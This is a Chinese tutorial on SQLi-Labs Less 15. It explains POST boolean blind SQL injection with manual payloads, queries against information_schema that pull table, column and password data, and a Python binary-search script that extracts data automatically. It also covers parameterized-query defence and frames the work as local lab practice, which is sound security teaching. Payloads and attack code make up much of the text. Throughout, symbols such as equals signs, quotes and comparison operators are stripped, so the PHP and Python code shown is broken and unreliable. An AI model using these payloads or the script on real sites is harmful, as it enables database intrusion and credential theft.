SQL注入实战:从Less 15手把手理解POST布尔盲注原理与自动化
如果你刷过SQL-Lab大概率在Less 15这里会停一下。这个关卡的外观就是一个普通登录框用户名、密码、登录按钮再无其他。但它和前几关完全不同从可以直观看到回显的联合查询直接切换到了盲注而且是POST方式提交、单引号闭合的布尔盲注。很多人在这里蒙掉地址栏里塞参数没反应页面上也看不到任何数据列表只有登录成功和登录失败两种状态。其实这正是Less 15的教学目标在看不到查询结果的前提下靠页面两种状态的差异把数据库里的信息一位一位地问出来。这篇文章就从实战角度拆解Less 15。我假定你已经刷过Less 1到14至少了解联合查询和基本的SQL语法如果你只是听说过SQL注入想看看盲注是怎么一回事也能读完这篇文章后照着手工复现一遍。整个思路完全围绕本地靶场环境目的是弄懂盲注原理方便后续做防护设计千万别拿真实网站练手。1. Less 15到底在考什么一个登录框背后的布尔盲注1.1 这一关的注入形态POST 单引号 布尔盲注Less 15的考点可以拆成三个关键词POST方式传参、单引号闭合、布尔盲注。先说POST。前几关比如Less 1到Less 4的注入点都在URL地址栏里参数直接跟在问号后面属于GET方式。Less 15从GET切到了POST参数放在HTTP请求体里。这意味着你直接在浏览器地址栏改URL是没用的必须借助Burp Suite、hackbar这类工具或者自己写脚本去发POST请求。这一步就筛掉了不少第一次接触POST注入的人。再说单引号闭合。页面上的用户名输入框在后台SQL语句里是被一对单引号包着的。你把一个单引号提交上去相当于在SQL语句里强行加了一个额外的引号破坏了原本的语法结构MySQL就会报错。这个报错信息会告诉你这里有一个闭合符你可以从这里下手。最后说布尔盲注。前几关的联合查询之所以能成功是因为页面会把查询结果展示出来比如用户名、密码、ID这些字段直接显示在页面上。Less 15不一样它把查询结果藏起来了只有登录成功和登录失败两种页面。你无法直接看到数据库里的内容只能通过构造一个条件让页面在条件成立和条件不成立之间切换从而间接地推断信息。这就是布尔盲注也叫基于布尔的盲注。1.2 为什么联合查询到这里突然失效很多人刷到这一关第一反应还是套用前一关的联合查询套路比如在用户名字段里构造一个UNION SELECT希望能把users表的数据一次性带出来。结果发现页面什么数据都不显示只有成功或失败。原因很简单联合查询想要生效前提是页面能够把SQL查询结果渲染出来。Less 15的页面逻辑大概是查询到了结果就显示已登录查询不到结果就显示登录失败。它根本不展示SELECT出来的username和password只展示一个布尔结果。UNION SELECT即使执行成功查询到的额外行也会被PHP直接忽略掉因为页面压根没有设计把查询结果列表打印出来这个功能。所以Less 15就是要逼你换一种思路既然页面只能反馈真和假那就把一个个复杂的SQL查询拆解成一条条是对是错的判断题。这就是布尔盲注的核心思维方式。1.3 登录页背后那条SQL长什么样要理解Less 15的注入原理最好先看一眼后台的SQL语句逻辑。Less 15底层的PHP代码大致是这样的逻辑$uname $_POST[uname]; $passwd $_POST[passwd]; $sql SELECT username, password FROM users WHERE username$uname and password$passwd LIMIT 0,1; $result mysql_query($sql); if ($row mysql_fetch_array($result)) { // 显示登录成功 } else { // 显示登录失败 }这条SQL语句注意两个地方第一$uname和$passwd是直接拼接进去的没有做任何转义属于典型的字符串拼接型注入第二整个查询外面包了一层WHERE username... and password...所以闭合符就是单个引号。你提交username admin时SQL就变成了SELECT username, password FROM users WHERE usernameadmin and password LIMIT 0,1两个连续的单引号让MySQL语法崩掉于是页面出现报错。这个报错就是Less 15给你留下的第一道突破口。2. 手工试探注入点从报错到布尔判断的完整链路2.1 先建立基线正常请求长什么样在动手注入之前一定要先记录正常请求的反馈这是后面判断一切异常的基准。用Burp Suite打开Less 15的页面登录界面就两个字段用户名uname、密码passwd。随便提交一个帐号密码比如unameadminpasswd123456先看一眼响应包。我这里本地靶场的反馈是页面显示Login Failed状态码200没有额外报错信息。这就是正常但失败的基线。为什么要先做这一步因为后续判断注入是否成功全都依赖页面反馈的变化。你不知道基线长什么样就可能把正常的登录失败当成注入条件不成立把报错当成什么灵异事件。2.2 单引号的爆破点报错就是突破口接下来做第一步试探在用户名输入框里提交一个单引号。unameadminpasswd123456这次响应明显不同。页面不再安静地显示Login Failed而是抛出了一段MySQL错误信息核心内容类似You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin and password LIMIT 0,1看到这个报错基本可以确认三件事用户名参数确实被拼进了SQL语句用户名的闭合方式是单引号数据库是MySQL且有原始报错信息泄露。报错信息里还有个小线索near admin说明我们提交的admin被拼接后形成了admin这种结构。SQL解析器在这个位置崩了。你不需要懂太深只要知道这里就是注入点就够。Less 15不会过滤你所以单引号直接生效后面有些关卡做了过滤单引号可能被转义处理方式又不一样。2.3 用 and 11 / and 12 把页面变成判断题确定闭合符是单引号之后下一步就是验证能不能用条件控制页面状态。这是布尔盲注里最关键的确认实验。在用户名字段输入unameadmin and 11#passwd123456#是MySQL的注释符作用是把它后面的SQL内容全部注释掉包括and password...这一段。拼出来的SQL变成SELECT username, password FROM users WHERE usernameadmin and 11# and password LIMIT 0,1注释符之后的内容不再参与执行所以password随便填。此时usernameadmin如果成立and 11也一定成立整条SQL能查到数据页面显示登录成功。接着把条件改成and 12unameadmin and 12#passwd12345612永远不成立所以整个WHERE条件为假查询不到任何数据页面显示登录失败。到这里一个非常重要的结论出现了只要我在admin and ...#的省略号位置放一个条件页面的登录成功/失败就会跟着这个条件的真假走。这样页面就变成了一台只回答对/错的机器。接下来所有数据提取工作都是把字符是多少表名叫什么这类问题翻译成这台机器能回答的判断题。2.4 为什么建议先手工判断再上sqlmap做安全测试的人都会用sqlmap但我强烈建议这一关先手工走一遍再决定要不要上工具。理由有三点工具跑不出来的时候你能快速定位问题。很多人在Less 15直接跑sqlmap -u结果发现什么都没跑出来因为sqlmap默认是跑GET参数你得显式指定--dataunamexpasswdy。不懂这个原理就会一头雾水。手工注入能帮你理解布尔盲注的底层逻辑。sqlmap本质上就是把你手工做的这些判断自动化了它内部会发and 11、and 12去探测然后根据页面差异推断信息。你手工过一遍之后用sqlmap时看到它发那些奇怪的payload就不会觉得神秘。工具跑出来的数据你也知道怎么验证。比如sqlmap告诉你库名是security你心里有数它是通过逐字符判断出来的而不是瞎猜的。当然手工判断完闭合方式和注入类型后再交给sqlmap去批量爆数据这是很合理的组合。后面脚本部分我会给出自己用的自动化方案。3. 手工布尔盲注的完整流程从库名到数据一条龙3.1 猜库名SUBSTR ASCII 的固定套路现在进入实战提取阶段。Less 15的数据库是MySQL默认库名是security但我不能假设每个人都知道所以要走一遍完整的获取流程。布尔盲注提取数据核心就是要学会两个函数substr(字符串, 起始位置, 长度)截取字符串片段比如substr(database(), 1, 1)表示取数据库名的第1个字符。ascii(字符)把字符转成ASCII数字比如ascii(s)等于115。为什么要先转成ASCII数字因为布尔盲注只能判断大于小于等于数字最方便做大小比较。字符没法直接比较但ASCII码可以。判断数据库名长度的payloadunameadmin and length(database())1#passwdx如果页面登录成功说明数据库名长度大于1。继续加大数字直到条件为假就能确定长度。比如length(database())8成功说明库名长度是8正好是security的字符数。判断第一个字符unameadmin and ascii(substr(database(),1,1))115#passwdx如果页面成功说明第一个字符的ASCII码是115对应字母s。第二个字符就把substr(database(),1,1)改成substr(database(),2,1)以此类推。纯手工这么做非常慢一个8位库名就要发几十个请求。所以套路熟悉之后我建议直接跳到后面的脚本方案。3.2 查表名information_schema泄露表名拿到库名之后下一步是获取表名。MySQL有一个默认的元数据库叫information_schema里面记录了所有数据库、表、字段的信息。只要你注入的数据库账号有读权限SQL-Lab默认有就能从里面翻出全部家底。查第一条表名的payloadunameadmin and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1))64#passwdx我来拆解一下这个payload的结构。最外层是ascii(substr(...))中间的select table_name from information_schema.tables where table_schemasecurity limit 0,1意思是从security库里取出第一个表的名字。limit 0,1是MySQL的分页语法表示跳过0条取1条。想取第二个表就改成limit 1,1第三个表改成limit 2,1。这条payload如果成立说明第一个表名的首字母ASCII码大于64也就是字母表中A之后的字符。继续缩小范围最后能精确确定每个字符。Less 15的库里有users、emails等表表名第一个字符是e对应的ASCII码是101。注意一个小坑information_schema.tables这个表里会包含MySQL自带的系统表所以最好在条件里加上where table_schemasecurity把范围限定在当前库不然会翻出大量无关数据。3.3 读字段与数据十六进制编码和LIMIT遍历表名确定之后比如我们知道有users表下一步就是查users表里的字段名。查第一个字段名的payloadunameadmin and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))105#passwdx执行成功的话说明users表的第一个字段名首字母ASCII码是105也就是字母i。继续往下逐字符判断会发现第一个字段是id。这里table_nameusers中间的单引号不要怕它是SQL内部的一对引号和外面包裹usernameadmin的引号是配对的不会冲突。字段名查完就轮到真正的数据。假设users表有id、username、password三个字段我想拿第一行数据的passwordunameadmin and ascii(substr((select password from users limit 0,1),1,1))68#passwdxASCII码68对应大写字母D所以第一条记录的密码首字母是D。SQL-Lab的users表第一条记录是Dumb所以这个判断是成立的。这里有几个实战中的小技巧如果某个字段名或表名带了下划线、数字等特殊字符ASCII码会在48到57数字或95下划线附近范围判断法照样能处理。数据可能会很长比如30个字符的密码没必要每次从头猜。先用length((select password from users limit 0,1))确定长度再有目标地逐位提取。如果表里数据量很多limit 0,1一行一行往后挪就行但要注意数据量太大时请求次数会很多这时候脚本的效率优势就体现出来了。3.4 用二分法把127次请求压到7次逐字符判断ASCII码最笨的办法是从1试到127每次判断是不是等于某个数。但更好的办法是二分法每次只问这个字符的ASCII码是不是大于某个中间值。比如要猜一个字符的ASCII码范围是32到127可打印字符区间先问ascii(... ) 64。如果成立说明字符在65到127之间下一步问 96如果不成立说明在32到64之间下一步问 48。每次把范围缩小一半最多7次请求就能确定一个字符而不是127次。这背后的道理很简单布尔盲注的每一次请求只能带来一个bit的反馈信息——是或者否。7次请求最多能区分2的7次方等于128种可能正好覆盖ASCII可打印字符。这也是为什么布尔盲注虽然慢但配合二分法其实完全可以忍受的原因。手工二分法可以用Burp的Repeater反复改数字但那样太累。真正舒服的方式是把二分法写进脚本这也是后面一章要做的事。4. 把重复劳动丢给脚本一个可复用的Python布尔盲注脚本4.1 脚本骨架requests 单线程手工轮询手工发几十个请求还能接受但要把数据库所有表、字段、数据全部提取出来手工就太痛苦了。我通常的做法是写一个简单的Python脚本把Less 15的布尔判断封装成一个函数然后往里面填不同的条件。先装依赖pip install requests完整的脚本骨架如下import requests url http://127.0.0.1/sqli-labs/Less-15/ headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) } def is_true(condition): 发送一次POST请求判断condition是否为真 data { uname: fadmin and {condition}#, passwd: x } resp requests.post(url, datadata, headersheaders, timeout10) return You are Logged in as in resp.text这里判断条件为真的依据是Less 15登录成功时页面会返回You are Logged in as这段文字。我不用Login Failed not in resp.text这种方式因为报错页面也可能包含Login等字样匹配成功标志更可靠。先验证一下函数print(is_true(11)) # 应为 True print(is_true(12)) # 应为 False如果输出不是True和False说明请求没到服务端或者页面特征词选错了先回到第2章的排查流程。4.2 二分查找版效率提升的实测对比验证完is_true函数就可以写二分法提取数据了。下面的代码以获取数据库名为例def get_database_name(): result # 先确定长度 length 0 for i in range(1, 50): if is_true(flength(database()){i}): length i else: length i break print(f[*] database name length: {length}) # 逐字符提取 for pos in range(1, length 1): low, high 32, 127 while low high: mid (low high) // 2 condition fascii(substr(database(),{pos},1)){mid} if is_true(condition): low mid 1 else: high mid result chr(low) print(f[*] partial: {result}) return result print(get_database_name())这个脚本跑起来最多7次请求确定一个字符8位库名大概50多次请求本地环境几秒钟就出结果。同理把database()替换成子查询就可以提取表名、字段名和数据。比如提取表名def get_table_names(): tables [] for idx in range(10): # 假设最多10个表 table_name for pos in range(1, 30): low, high 32, 127 while low high: mid (low high) // 2 condition fascii(substr((select table_name from information_schema.tables where table_schemasecurity limit {idx},1),{pos},1)){mid} if is_true(condition): low mid 1 else: high mid if low 0: break table_name chr(low) if table_name: tables.append(table_name) return tables这里limit {idx},1就是遍历第idx个表。注意循环结束条件如果某个位置提取出来是空字符或长度异常就跳出循环避免无限跑下去。4.3 脚本跑不通的常见原因从请求头到回显判断的坑脚本写出来之后第一次跑通常不会那么顺利。我列出几个最常踩的坑按排查顺序来请求方式不对。Less 15是POST你必须用requests.post并且把参数放在data字典里。用requests.get发请求服务端收不到uname和passwd页面固定显示登录失败。页面特征词匹配出错。不同版本的SQL-Lab成功提示文字可能略有差异。最可靠的方式是先用Burp提交一个admin and 11#的请求看响应里到底出现什么成功标志再把这个标志填进脚本。is_true(11)和is_true(12)结果相同。这不是函数问题而是你的注入语句没有真正闭合到SQL里。检查一下是不是漏了#注释符或者单引号写成了中文引号。注释符被编码问题。有些时候手动构造POST包时#没有进行URL编码服务端解析后可能被截断。requests会自动对#做处理但如果你是手动curl或写socket记得把#编码成%23。表名或字段名的大小写。information_schema.tables是复数table_schema是单数写错一个字母就会报错脚本里is_true返回False看起来像查不到数据实际是SQL写错了。超时。如果目标环境响应慢requests可能因为超时报错。在测试本地靶场时可以加timeout10跑真实授权目标时更要控制线程数和请求频率避免影响对方服务。脚本这块我建议不要急着跑全量提取先跑一个字段名或一条数据验证流程确认没问题后再放开全量跑。不然一次跑几百个请求中途发现判断条件有问题还得重来。5. 刷完这一关值得带走的几件事5.1 盲注的本质任何可区分状态都能变成信道Less 15教给我的最重要的一件事是盲注的本质不是看不到数据而是存在两种可区分的状态。登录成功与登录失败是两种状态响应时间的长短也可以成为两种状态时间盲注甚至响应包的长度差异、HTTP状态码的差异都可能是信息通道。安全测试里经常讲带外信道OOB比如利用DNS请求把数据带出来本质上也是这个思路只要对方系统存在一个你能观察到的外部信号数据就能流出来。Less 15虽然只是最基础的布尔盲注但它训练的就是这种信号提取能力。我在实际测试里遇到过页面疯狂跳转、登录状态反向显示的奇葩环境最后都是靠找一个稳定可区分的状态特征来解决问题。5.2 防御视角参数化查询如何让Less 15失效刷靶场不只是为了攻击更重要的是理解防御方的应对方案。Less 15之所以能注入成功根本原因是SQL语句用了字符串拼接$sql SELECT ... WHERE username$uname and password$passwd;如果后台改用参数化查询写法会变成类似这样$stmt $pdo-prepare(SELECT ... WHERE username? and password?); $stmt-execute([$uname, $passwd]);这时候你提交的admin and 11#会被当作一个普通的字符串值赋给username字段去比较而不是被解析成SQL代码。单引号无论怎么放都只是用户名字符的一部分根本不会破坏语法结构。这就是参数化查询能一劳永逸解决注入问题的原因。所以Less 15这类关卡放到真实开发环境里其实应该反过来提醒开发者任何用户可控的输入只要进入SQL语句都必须走预处理或参数绑定。工程上哪怕有一百种过滤方式都不如从源头把代码和数据分开来得可靠。5.3 一套通用的POST注入排查口诀刷完这一关我自己总结了一套针对POST型注入的排查口诀分享出来供你参考一看报错提交单引号或双引号观察页面是否暴露SQL错误信息确认闭合方式。二测闭合用and 11和and 12确定布尔条件能否控制页面状态。三探回显用联合查询试探页面有没有显式数据输出位有则优先联合查询无则转盲注。四定类型根据布尔状态、时间延迟、报错输出确定当前环境适合哪一种盲注方式。五写脚本手工确认注入点和判断条件后再写自动化脚本批量提取数据。这套口诀不仅适用于SQL-Lab我在之后刷其他靶场、分析CTF题目时也一直在用。Less 15的特殊之处在于它逼着你从第2步到第5步必须完整走一遍没有联合查询可以偷懒。把这一关的操作流程吃透后面的Less 16、Less 17以及各种变形题本质上都是换汤不换药。我自己刷SQL-Lab的习惯是每过一关就在本地Markdown文件里记录闭合符、注入类型、判断特征词和一条典型payload。Less 15的记录大概长这样项目内容请求方式POST注入点uname参数闭合符单引号注释符#注入类型布尔盲注判断特征页面包含You are Logged in as典型Payloadadmin and ascii(substr(database(),1,1))115#后面再遇到类似场景直接翻记录能省不少时间。这也是刷靶场最值得养成的习惯把每一次手动摸索的结论沉淀成可复用的数据而不是跑完就忘。